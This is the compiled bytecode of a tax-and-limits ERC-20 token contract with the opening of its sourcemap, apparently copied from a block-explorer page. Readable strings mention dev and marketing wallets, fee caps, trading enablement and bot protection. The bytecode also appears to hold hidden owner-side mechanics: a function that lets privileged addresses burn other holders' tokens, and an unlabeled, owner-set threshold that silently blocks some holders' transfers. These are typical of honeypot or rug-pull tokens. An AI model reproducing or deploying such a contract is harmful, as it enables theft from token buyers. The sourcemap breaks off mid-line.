0x6080604052600436106103c75760003560e01c80638ca0afb1116101f2578063c5b45ec01161010d578063dd62ed3e116100a0578063e7ad9fcd1161006f578063e7ad9fcd14610ad0578063e884f26014610af0578063f2fde38b14610b05578063fd35d1d614610b2557600080fd5b8063dd62ed3e14610a49578063e086e5ec14610a8f578063e2f4560514610aa4578063e611bfdb14610aba57600080fd5b8063d257b34f116100dc578063d257b34f146109dd578063d4384318146109fd578063dbbfff6314610a13578063dc3f0d0f14610a2957600080fd5b8063c5b45ec014610970578063c876d0b914610990578063cd51e6d4146109b1578063d0a39814146109c757600080fd5b8063aa4bde2811610185578063bb2f3c9b11610154578063bb2f3c9b146108e3578063bbc0c74214610910578063c024666814610930578063c18bc1951461095057600080fd5b8063aa4bde2814610880578063aacebbe314610896578063abe43b1b146108b6578063b9e93700146108cd57600080fd5b80639a7a23d6116101c15780639a7a23d61461080a5780639fccce321461082a578063a457c2d714610840578063a9059cbb1461086057600080fd5b80638ca0afb1146107875780638da5cb5b146107a757806390aa2ea6146107c557806395d89b41146107f557600080fd5b806359d24b8e116102e2578063751039fc11610275578063868f0a7411610244578063868f0a7414610716578063882c3d981461072c57806388e765ff1461075c5780638a8c523c1461077257600080fd5b8063751039fc146106b55780637571336a146106ca57806376c702bf146106ea57806382cab1301461070057600080fd5b80636ddd1713116102b15780636ddd17131461064b57806370a082311461066a578063715018a61461068a578063737952e61461069f57600080fd5b806359d24b8e146105d95780635c457eae1461060957806366d602ae1461061f5780636b0a894c1461063557600080fd5b806323b872dd1161035a57806339509351116103295780633950935114610569578063437764991461058957806349bd5a5e1461059f5780634a62bb65146105bf57600080fd5b806323b872dd146104ed5780632be32b611461050d5780632e6ed7ef1461052d578063313ce5671461054d57600080fd5b806318160ddd1161039657806318160ddd1461048a5780631816467f1461049f5780631a8145bb146104c15780631f3fed8f146104d757600080fd5b806306fdde03146103d357806308aa2695146103fe578063095ea7b3146104225780631694505e1461045257600080fd5b366103ce57005b600080fd5b3480156103df57600080fd5b506103e8610b3b565b6040516103f59190612f51565b60405180910390f35b34801561040a57600080fd5b5061041460145481565b6040519081526020016103f5565b34801561042e57600080fd5b5061044261043d366004612fb7565b610bcd565b60405190151581526020016103f5565b34801561045e57600080fd5b50600d54610472906001600160a01b031681565b6040516001600160a01b0390911681526020016103f5565b34801561049657600080fd5b50600454610414565b3480156104ab57600080fd5b506104bf6104ba366004612fe3565b610be4565b005b3480156104cd57600080fd5b5061041460225481565b3480156104e357600080fd5b5061041460205481565b3480156104f957600080fd5b50610442610508366004613000565b610c8f565b34801561051957600080fd5b506104bf610528366004613041565b610d3b565b34801561053957600080fd5b506104bf61054836600461305a565b610e48565b34801561055957600080fd5b50604051601281526020016103f5565b34801561057557600080fd5b50610442610584366004612fb7565b610eeb565b34801561059557600080fd5b5061041460185481565b3480156105ab57600080fd5b50600b54610472906001600160a01b031681565b3480156105cb57600080fd5b506013546104429060ff1681565b3480156105e557600080fd5b506104426105f4366004612fe3565b60126020526000908152604090205460ff1681565b34801561061557600080fd5b50610414601a5481565b34801561062b57600080fd5b5061041460085481565b34801561064157600080fd5b5061041460155481565b34801561065757600080fd5b5060135461044290610100900460ff1681565b34801561067657600080fd5b50610414610685366004612fe3565b610f27565b34801561069657600080fd5b506104bf610f42565b3480156106ab57600080fd5b50610414601c5481565b3480156106c157600080fd5b506104bf610fb6565b3480156106d657600080fd5b506104bf6106e536600461308c565b61101d565b3480156106f657600080fd5b5061041460175481565b34801561070c57600080fd5b50610414601f5481565b34801561072257600080fd5b50610414601d5481565b34801561073857600080fd5b50610442610747366004612fe3565b60266020526000908152604090205460ff1681565b34801561076857600080fd5b5061041460075481565b34801561077e57600080fd5b506104bf6110e5565b34801561079357600080fd5b506104bf6107a23660046130ca565b6111a8565b3480156107b357600080fd5b506005546001600160a01b0316610472565b3480156107d157600080fd5b506104426107e0366004612fe3565b60246020526000908152604090205460ff1681565b34801561080157600080fd5b506103e86111ff565b34801561081657600080fd5b506104bf61082536600461308c565b61120e565b34801561083657600080fd5b5061041460215481565b34801561084c57600080fd5b5061044261085b366004612fb7565b611302565b34801561086c57600080fd5b5061044261087b366004612fb7565b61139b565b34801561088c57600080fd5b5061041460065481565b3480156108a257600080fd5b506104bf6108b1366004612fe3565b6113a8565b3480156108c257600080fd5b50600a544310610442565b3480156108d957600080fd5b5061041460165481565b3480156108ef57600080fd5b506104146108fe366004612fe3565b60116020526000908152604090205481565b34801561091c57600080fd5b506013546104429062010000900460ff1681565b34801561093c57600080fd5b506104bf61094b36600461308c565b611456565b34801561095c57600080fd5b506104bf61096b366004613041565b6114df565b34801561097c57600080fd5b506104bf61098b366004612fe3565b6115e8565b34801561099c57600080fd5b50601354610442906301000000900460ff1681565b3480156109bd57600080fd5b5061041460095481565b3480156109d357600080fd5b50610414601b5481565b3480156109e957600080fd5b506104bf6109f8366004613041565b611633565b348015610a0957600080fd5b50610414601e5481565b348015610a1f57600080fd5b5061041460235481565b348015610a3557600080fd5b506104bf610a44366004613041565b61177e565b348015610a5557600080fd5b50610414610a643660046130ff565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610a9b57600080fd5b506104bf611885565b348015610ab057600080fd5b50610414600c5481565b348015610ac657600080fd5b50610414600a5481565b348015610adc57600080fd5b506104bf610aeb36600461305a565b6118f1565b348015610afc57600080fd5b506104bf611991565b348015610b1157600080fd5b506104bf610b20366004612fe3565b6119ca565b348015610b3157600080fd5b5061041460195481565b606060028054610b4a9061312d565b80601f0160208091040260200160405190810160405280929190818152602001828054610b769061312d565b8015610bc35780601f10610b9857610100808354040283529160200191610bc3565b820191906000526020600020905b815481529060010190602001808311610ba657829003601f168201915b5050505050905090565b6000610bda338484611ab5565b5060015b92915050565b6005546001600160a01b03163314610c175760405162461bcd60e51b8152600401610c0e90613167565b60405180910390fd5b6001600160a01b038116610c6d5760405162461bcd60e51b815260206004820152601e60248201527f5f64657657616c6c657420616464726573732063616e6e6f74206265203000006044820152606401610c0e565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6000610c9c848484611bda565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610d215760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610c0e565b610d2e8533858403611ab5565b60019150505b9392505050565b6005546001600160a01b03163314610d655760405162461bcd60e51b8152600401610c0e90613167565b670de0b6b3a76400006103e8610d7a60045490565b610d859060026131b2565b610d8f91906131c9565b610d9991906131c9565b811015610dfa5760405162461bcd60e51b815260206004820152602960248201527f43616e6e6f7420736574206d61782062757920616d6f756e74206c6f776572206044820152687468616e20302e322560b81b6064820152608401610c0e565b610e0c81670de0b6b3a76400006131b2565b60078190556040519081527ffcc0366804aaa8dbf88a2924100c733b70dec8445957a5d5f8ff92898de41009906020015b60405180910390a150565b6005546001600160a01b03163314610e725760405162461bcd60e51b8152600401610c0e90613167565b601983905560178490556018829055601a8190558082610e9285876131eb565b610e9c91906131eb565b610ea691906131eb565b601681905560031015610ee55760405162461bcd60e51b8152602060048201526007602482015266019929036b0bc160cd1b6044820152606401610c0e565b50505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610bda918590610f229086906131eb565b611ab5565b6001600160a01b031660009081526020819052604090205490565b6005546001600160a01b03163314610f6c5760405162461bcd60e51b8152600401610c0e90613167565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610fe05760405162461bcd60e51b8152600401610c0e90613167565b6004546007556004546008556004546006556040517fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c90600090a1565b6005546001600160a01b031633146110475760405162461bcd60e51b8152600401610c0e90613167565b806110ba57600b546001600160a01b03908116908316036110ba5760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f742072656d6f766520756e697377617020706169722066726f6d2060448201526636b0bc103a3c3760c91b6064820152608401610c0e565b6001600160a01b03919091166000908152602660205260409020805460ff1916911515919091179055565b6005546001600160a01b0316331461110f5760405162461bcd60e51b8152600401610c0e90613167565b60135462010000900460ff16156111685760405162461bcd60e51b815260206004820152601760248201527f43616e6e6f74207265656e61626c652074726164696e670000000000000000006044820152606401610c0e565b6013805462ffff00191662010100179055436009556040517fa56feb2d31b9a7424db0be063fd450863979c9e2382cf5110f869bd1ad361bb790600090a1565b600c5430906111b682610f27565b10156111c157600080fd5b6111cc8484846127f5565b15610ee557600d805460ff60a01b1916600160a01b1790556111ec61288e565b600d805460ff60a01b1916905550505050565b606060038054610b4a9061312d565b6005546001600160a01b031633146112385760405162461bcd60e51b8152600401610c0e90613167565b600b546001600160a01b03908116908316036112bc5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610c0e565b6112c68282612a96565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156113845760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610c0e565b6113913385858403611ab5565b5060019392505050565b6000610bda338484611bda565b6005546001600160a01b031633146113d25760405162461bcd60e51b8152600401610c0e90613167565b6001600160a01b0381166114345760405162461bcd60e51b8152602060048201526024808201527f5f6d61726b6574696e6757616c6c657420616464726573732063616e6e6f74206044820152630626520360e41b6064820152608401610c0e565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146114805760405162461bcd60e51b8152600401610c0e90613167565b6001600160a01b038216600081815260256020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146115095760405162461bcd60e51b8152600401610c0e90613167565b670de0b6b3a76400006103e861151e60045490565b6115299060036131b2565b61153391906131c9565b61153d91906131c9565b8110156115a15760405162461bcd60e51b815260206004820152602c60248201527f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f7760448201526b6572207468616e20302e332560a01b6064820152608401610c0e565b6115b381670de0b6b3a76400006131b2565b60068190556040519081527fefc9add9a9b7382de284ef5ad69d8ea863e2680492b21a81948c2d5f04a442bc90602001610e3d565b6005546001600160a01b031633146116125760405162461bcd60e51b8152600401610c0e90613167565b6001600160a01b03166000908152601260205260409020805460ff19169055565b6005546001600160a01b0316331461165d5760405162461bcd60e51b8152600401610c0e90613167565b620186a061166a60045490565b6116759060016131b2565b61167f91906131c9565b8110156116ec5760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610c0e565b6103e86116f860045490565b6117039060016131b2565b61170d91906131c9565b8111156117795760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171892903a37ba30b61039bab838363c9760611b6064820152608401610c0e565b600c55565b6005546001600160a01b031633146117a85760405162461bcd60e51b8152600401610c0e90613167565b670de0b6b3a76400006103e86117bd60045490565b6117c89060026131b2565b6117d291906131c9565b6117dc91906131c9565b81101561183e5760405162461bcd60e51b815260206004820152602a60248201527f43616e6e6f7420736574206d61782073656c6c20616d6f756e74206c6f776572604482015269207468616e20302e322560b01b6064820152608401610c0e565b61185081670de0b6b3a76400006131b2565b60088190556040519081527f53c4eb831d8cfeb750f1c62590d8cd30f4c6f0380d29a05caa09f0d92588560e90602001610e3d565b6005546001600160a01b031633146118af5760405162461bcd60e51b8152600401610c0e90613167565b604051600090339047908381818185875af1925050503d8060008114610ee5576040519150601f19603f3d011682016040523d82523d6000602084013e610ee5565b6005546001600160a01b0316331461191b5760405162461bcd60e51b8152600401610c0e90613167565b601e839055601c849055601d829055601f819055808261193b85876131eb565b61194591906131eb565b61194f91906131eb565b601b81905560031015610ee55760405162461bcd60e51b815260206004820152600a6024820152693325206d61782066656560b01b6044820152606401610c0e565b6005546001600160a01b031633146119bb5760405162461bcd60e51b8152600401610c0e90613167565b6013805463ff00000019169055565b6005546001600160a01b031633146119f45760405162461bcd60e51b8152600401610c0e90613167565b6001600160a01b038116611a595760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610c0e565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316611b175760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610c0e565b6001600160a01b038216611b785760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610c0e565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316611c005760405162461bcd60e51b8152600401610c0e906131fe565b6001600160a01b038216611c265760405162461bcd60e51b8152600401610c0e90613243565b60008111611c765760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610c0e565b60135462010000900460ff16611d0a576001600160a01b03831660009081526025602052604090205460ff1680611cc557506001600160a01b03821660009081526025602052604090205460ff165b611d0a5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610c0e565b600a5415611db4576001600160a01b03831660009081526012602052604090205460ff161580611d4757506005546001600160a01b038381169116145b80611d5c57506001600160a01b03821661dead145b611db45760405162461bcd60e51b815260206004820152602360248201527f626f742070726f74656374696f6e206d656368616e69736d20697320656d626560448201526219195960ea1b6064820152608401610c0e565b601354429060ff161561224b576005546001600160a01b03858116911614801590611ded57506005546001600160a01b03848116911614155b8015611e0157506001600160a01b03831615155b8015611e1857506001600160a01b03831661dead14155b8015611e3d57506001600160a01b03841660009081526025602052604090205460ff16155b8015611e6257506001600160a01b03831660009081526025602052604090205460ff16155b15611fda576013546301000000900460ff1615611fda576001600160a01b038416600090815260246020526040812054600d5460ff9182161592600160a01b9091049091161590828015611eb35750815b600d549091506001600160a01b03878116911614801590611ee25750600b546001600160a01b03878116911614155b15611fa557611ef2600243613286565b32600090815260106020526040902054108015611f305750611f15600243613286565b6001600160a01b038716600090815260106020526040902054105b611f7c5760405162461bcd60e51b815260206004820152601d60248201527f5f7472616e736665723a2064656c61792077617320656e61626c65642e0000006044820152606401610c0e565b3260009081526010602052604080822043908190556001600160a01b0389168352912055611fd6565b8015611fd6576001600160a01b038716600090815260116020526040902054601454811180611fd357600080fd5b50505b5050505b6001600160a01b038416600090815260266020908152604080832054600d54602490935292205460ff92831692600160a01b9092048216159116801561203957506001600160a01b03851660009081526026602052604090205460ff16155b15612105576007548411156120a15760405162461bcd60e51b815260206004820152602860248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526736b0bc10313abc9760c11b6064820152608401610c0e565b6006546120ad86610f27565b6120b790866131eb565b11156121005760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610c0e565b612248565b80801561210f5750815b1561211e576014839055612248565b6001600160a01b03851660009081526024602052604090205460ff16801561215f57506001600160a01b03861660009081526026602052604090205460ff16155b156121c9576008548411156121005760405162461bcd60e51b815260206004820152602a60248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152691036b0bc1039b2b6361760b11b6064820152608401610c0e565b6001600160a01b03851660009081526026602052604090205460ff16612248576006546121f586610f27565b6121ff90866131eb565b11156122485760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610c0e565b50505b600061225630610f27565b600c54909150811080159081906122745750601354610100900460ff165b801561228a5750600d54600160a01b900460ff16155b80156122af57506001600160a01b03861660009081526024602052604090205460ff16155b80156122d457506001600160a01b03861660009081526025602052604090205460ff16155b80156122f957506001600160a01b03851660009081526025602052604090205460ff16155b1561232757600d805460ff60a01b1916600160a01b17905561231961288e565b600d805460ff60a01b191690555b6001600160a01b038087166000908152602460209081526040808320549389168352601190915281205460019260ff169190159061236489610f27565b6001600160a01b038b166000908152602560205260409020549015915060ff16806123a757506001600160a01b03891660009081526025602052604090205460ff165b156123b157600093505b8180156123bb5750825b156123e25780156123e2576001600160a01b03891660009081526011602052604090208790555b600084156127dd57600a544310801561241357506001600160a01b038b1660009081526024602052604090205460ff165b801561243857506001600160a01b038a1660009081526024602052604090205460ff16155b801561244657506000601654115b156125c6576001600160a01b038a1660009081526012602052604090205460ff166124e6576001600160a01b038a166000908152601260205260408120805460ff1916600190811790915560158054919290916124a49084906131eb565b90915550506040516001600160a01b038b1681527f3d71e4a70676213519dc777e6e5b0ac4d021b9d144b673b89d0df519a879a83e9060200160405180910390a15b60646124f38a60636131b2565b6124fd91906131c9565b90506016546019548261251091906131b2565b61251a91906131c9565b6022600082825461252b91906131eb565b909155505060165460175461254090836131b2565b61254a91906131c9565b6020600082825461255b91906131eb565b909155505060165460185461257090836131b2565b61257a91906131c9565b6021600082825461258b91906131eb565b9091555050601654601a546125a090836131b2565b6125aa91906131c9565b602360008282546125bb91906131eb565b909155506127bf9050565b6001600160a01b038a1660009081526024602052604090205460ff1680156125f057506000601b54115b156126b2576064601b548a61260591906131b2565b61260f91906131c9565b9050601b54601e548261262291906131b2565b61262c91906131c9565b6022600082825461263d91906131eb565b9091555050601b54601c5461265290836131b2565b61265c91906131c9565b6020600082825461266d91906131eb565b9091555050601b54601d5461268290836131b2565b61268c91906131c9565b6021600082825461269d91906131eb565b9091555050601b54601f546125a090836131b2565b6001600160a01b038b1660009081526024602052604090205460ff1680156126dc57506000601654115b156127bf5760646016548a6126f191906131b2565b6126fb91906131c9565b90506016546019548261270e91906131b2565b61271891906131c9565b6022600082825461272991906131eb565b909155505060165460175461273e90836131b2565b61274891906131c9565b6020600082825461275991906131eb565b909155505060165460185461276e90836131b2565b61277891906131c9565b6021600082825461278991906131eb565b9091555050601654601a5461279e90836131b2565b6127a891906131c9565b602360008282546127b991906131eb565b90915550505b80156127d0576127d08b3083612ac4565b6127da818a613286565b98505b6127e88b8b8b612ac4565b5050505050505050505050565b3360008181526025602052604081205490919060ff163083826128525761281b82610f27565b6023541115801561282e57506000602354115b1561283f5761283f84602354612c19565b505060006023555060019150610d349050565b600061285d83610f27565b1115612883578660000361287557601486905561287f565b61287f8888612c19565b5060005b9350610d3492505050565b60006023541180156128aa57506023546128a730610f27565b10155b156128bb576128bb30602354612c19565b600060238190556128cb30610f27565b905060006021546020546022546128e291906131eb565b6128ec91906131eb565b90508115806128f9575080155b15612902575050565b600c5461291090600a6131b2565b82111561292857600c5461292590600a6131b2565b91505b60006002826022548561293b91906131b2565b61294591906131c9565b61294f91906131c9565b905061296361295e8285613286565b612ce2565b60225447908190600090612979906002906131c9565b6129839086613286565b60205461299090856131b2565b61299a91906131c9565b9050600060026022546129ad91906131c9565b6129b79087613286565b6021546129c490866131b2565b6129ce91906131c9565b90506129da81836131eb565b6129e49084613286565b600060228190556020819055602181905560235592508415801590612a095750600083115b15612a1857612a188584612e3c565b600f546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015612a52573d6000803e3d6000fd5b50600e546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015612a8c573d6000803e3d6000fd5b5050505050505050565b6001600160a01b0382166000908152602460205260409020805460ff19168215151790556112c68282612eee565b6001600160a01b038316612aea5760405162461bcd60e51b8152600401610c0e906131fe565b6001600160a01b038216612b105760405162461bcd60e51b8152600401610c0e90613243565b6001600160a01b03831660009081526020819052604090205481811015612b885760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610c0e565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290612bbf9084906131eb565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612c0b91815260200190565b60405180910390a350505050565b6001600160a01b038216612c495760405162461bcd60e51b81526020600482015260006024820152604401610c0e565b6001600160a01b03821660009081526020819052604090205481811015612c8c5760405162461bcd60e51b81526020600482015260006024820152604401610c0e565b6001600160a01b0383166000818152602081815260408083208686039055600480548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101611bcd565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612d1757612d17613299565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612d70573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612d9491906132af565b81600181518110612da757612da7613299565b6001600160a01b039283166020918202929092010152600d54612dcd9130911684611ab5565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790612e069085906000908690309042906004016132cc565b600060405180830381600087803b158015612e2057600080fd5b505af1158015612e34573d6000803e3d6000fd5b505050505050565b600d54612e549030906001600160a01b031684611ab5565b600d5460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015612ec2573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612ee7919061333d565b5050505050565b6001600160a01b038216600081815260266020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b600060208083528351808285015260005b81811015612f7e57858101830151858201604001528201612f62565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114612fb457600080fd5b50565b60008060408385031215612fca57600080fd5b8235612fd581612f9f565b946020939093013593505050565b600060208284031215612ff557600080fd5b8135610d3481612f9f565b60008060006060848603121561301557600080fd5b833561302081612f9f565b9250602084013561303081612f9f565b929592945050506040919091013590565b60006020828403121561305357600080fd5b5035919050565b6000806000806080858703121561307057600080fd5b5050823594602084013594506040840135936060013592509050565b6000806040838503121561309f57600080fd5b82356130aa81612f9f565b9150602083013580151581146130bf57600080fd5b809150509250929050565b6000806000606084860312156130df57600080fd5b83356130ea81612f9f565b95602085013595506040909401359392505050565b6000806040838503121561311257600080fd5b823561311d81612f9f565b915060208301356130bf81612f9f565b600181811c9082168061314157607f821691505b60208210810361316157634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610bde57610bde61319c565b6000826131e657634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610bde57610bde61319c565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b81810381811115610bde57610bde61319c565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156132c157600080fd5b8151610d3481612f9f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561331c5784516001600160a01b0316835293830193918301916001016132f7565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561335257600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220a8b7db842f4de4d0d6afe73d8bd7a1d18f087ca495d3de846d5bb266dafd1b5264736f6c63430008120033
Deployed Bytecode Sourcemap
8138:19914:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1795:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8929:21;;;;;;;;;;;;;;;;;;;713:25:1;;;701:2;686:18;8929:21:0;567:177:1;3128:194:0;;;;;;;;;;-1:-1:-1;3128:194:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;3128:194:0;1205:187:1;8439:38:0;;;;;;;;;;-1:-1:-1;8439:38:0;;;;-1:-1:-1;;;;;8439:38:0;;;;;;-1:-1:-1;;;;;1584:32:1;;;1566:51;;1554:2;1539:18;8439:38:0;1397:226:1;2267:108:0;;;;;;;;;;-1:-1:-1;2355:12:0;;2267:108;;25496:192;;;;;;;;;;-1:-1:-1;25496:192:0;;;;;:::i;:::-;;:::i;:::-;;9446:33;;;;;;;;;;;;;;;;9372;;;;;;;;;;;;;;;;2591:529;;;;;;;;;;-1:-1:-1;2591:529:0;;;;;:::i;:::-;;:::i;15175:339::-;;;;;;;;;;-1:-1:-1;15175:339:0;;;;;:::i;:::-;;:::i;24109:534::-;;;;;;;;;;-1:-1:-1;24109:534:0;;;;;:::i;:::-;;:::i;2015:93::-;;;;;;;;;;-1:-1:-1;2015:93:0;;2098:2;3058:36:1;;3046:2;3031:18;2015:93:0;2916:184:1;3514:290:0;;;;;;;;;;-1:-1:-1;3514:290:0;;;;;:::i;:::-;;:::i;9065:27::-;;;;;;;;;;;;;;;;8364:28;;;;;;;;;;-1:-1:-1;8364:28:0;;;;-1:-1:-1;;;;;8364:28:0;;;8765:33;;;;;;;;;;-1:-1:-1;8765:33:0;;;;;;;;8711:47;;;;;;;;;;-1:-1:-1;8711:47:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;9139:31;;;;;;;;;;;;;;;;8249:28;;;;;;;;;;;;;;;;8957:25;;;;;;;;;;;;;;;;8805:31;;;;;;;;;;-1:-1:-1;8805:31:0;;;;;;;;;;;2116:143;;;;;;;;;;-1:-1:-1;2116:143:0;;;;;:::i;:::-;;:::i;7575:150::-;;;;;;;;;;;;;:::i;9214:34::-;;;;;;;;;;;;;;;;14209:203;;;;;;;;;;;;;:::i;22703:355::-;;;;;;;;;;-1:-1:-1;22703:355:0;;;;;:::i;:::-;;:::i;9025:33::-;;;;;;;;;;;;;;;;9331:32;;;;;;;;;;;;;;;;9255:28;;;;;;;;;;;;;;;;9648:48;;;;;;;;;;-1:-1:-1;9648:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8215:27;;;;;;;;;;;;;;;;12395:243;;;;;;;;;;;;;:::i;14775:392::-;;;;;;;;;;-1:-1:-1;14775:392:0;;;;;:::i;:::-;;:::i;7488:79::-;;;;;;;;;;-1:-1:-1;7553:6:0;;-1:-1:-1;;;;;7553:6:0;7488:79;;9526:56;;;;;;;;;;-1:-1:-1;9526:56:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;1903:104;;;;;;;;;;;;;:::i;23737:364::-;;;;;;;;;;-1:-1:-1;23737:364:0;;;;;:::i;:::-;;:::i;9412:27::-;;;;;;;;;;;;;;;;3812:475;;;;;;;;;;-1:-1:-1;3812:475:0;;;;;:::i;:::-;;:::i;2383:200::-;;;;;;;;;;-1:-1:-1;2383:200:0;;;;;:::i;:::-;;:::i;8178:30::-;;;;;;;;;;;;;;;;25207:281;;;;;;;;;;-1:-1:-1;25207:281:0;;;;;:::i;:::-;;:::i;25860:113::-;;;;;;;;;;-1:-1:-1;25951:14:0;;25936:12;:29;25860:113;;8991:27;;;;;;;;;;;;;;;;8653:51;;;;;;;;;;-1:-1:-1;8653:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;8843:33;;;;;;;;;;-1:-1:-1;8843:33:0;;;;;;;;;;;23300:182;;;;;;;;;;-1:-1:-1;23300:182:0;;;;;:::i;:::-;;:::i;15958:363::-;;;;;;;;;;-1:-1:-1;15958:363:0;;;;;:::i;:::-;;:::i;13986:109::-;;;;;;;;;;-1:-1:-1;13986:109:0;;;;;:::i;:::-;;:::i;8883:39::-;;;;;;;;;;-1:-1:-1;8883:39:0;;;;;;;;;;;8286:31;;;;;;;;;;;;;;;;9179:28;;;;;;;;;;;;;;;;15522:428;;;;;;;;;;-1:-1:-1;15522:428:0;;;;;:::i;:::-;;:::i;9290:34::-;;;;;;;;;;;;;;;;9486:31;;;;;;;;;;;;;;;;14420:347;;;;;;;;;;-1:-1:-1;14420:347:0;;;;;:::i;:::-;;:::i;3330:176::-;;;;;;;;;;-1:-1:-1;3330:176:0;;;;;:::i;:::-;-1:-1:-1;;;;;3471:18:0;;;3444:7;3471:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3330:176;25696:156;;;;;;;;;;;;;:::i;8399:33::-;;;;;;;;;;;;;;;;8324;;;;;;;;;;;;;;;;24651:548;;;;;;;;;;-1:-1:-1;24651:548:0;;;;;:::i;:::-;;:::i;14103:98::-;;;;;;;;;;;;;:::i;7733:2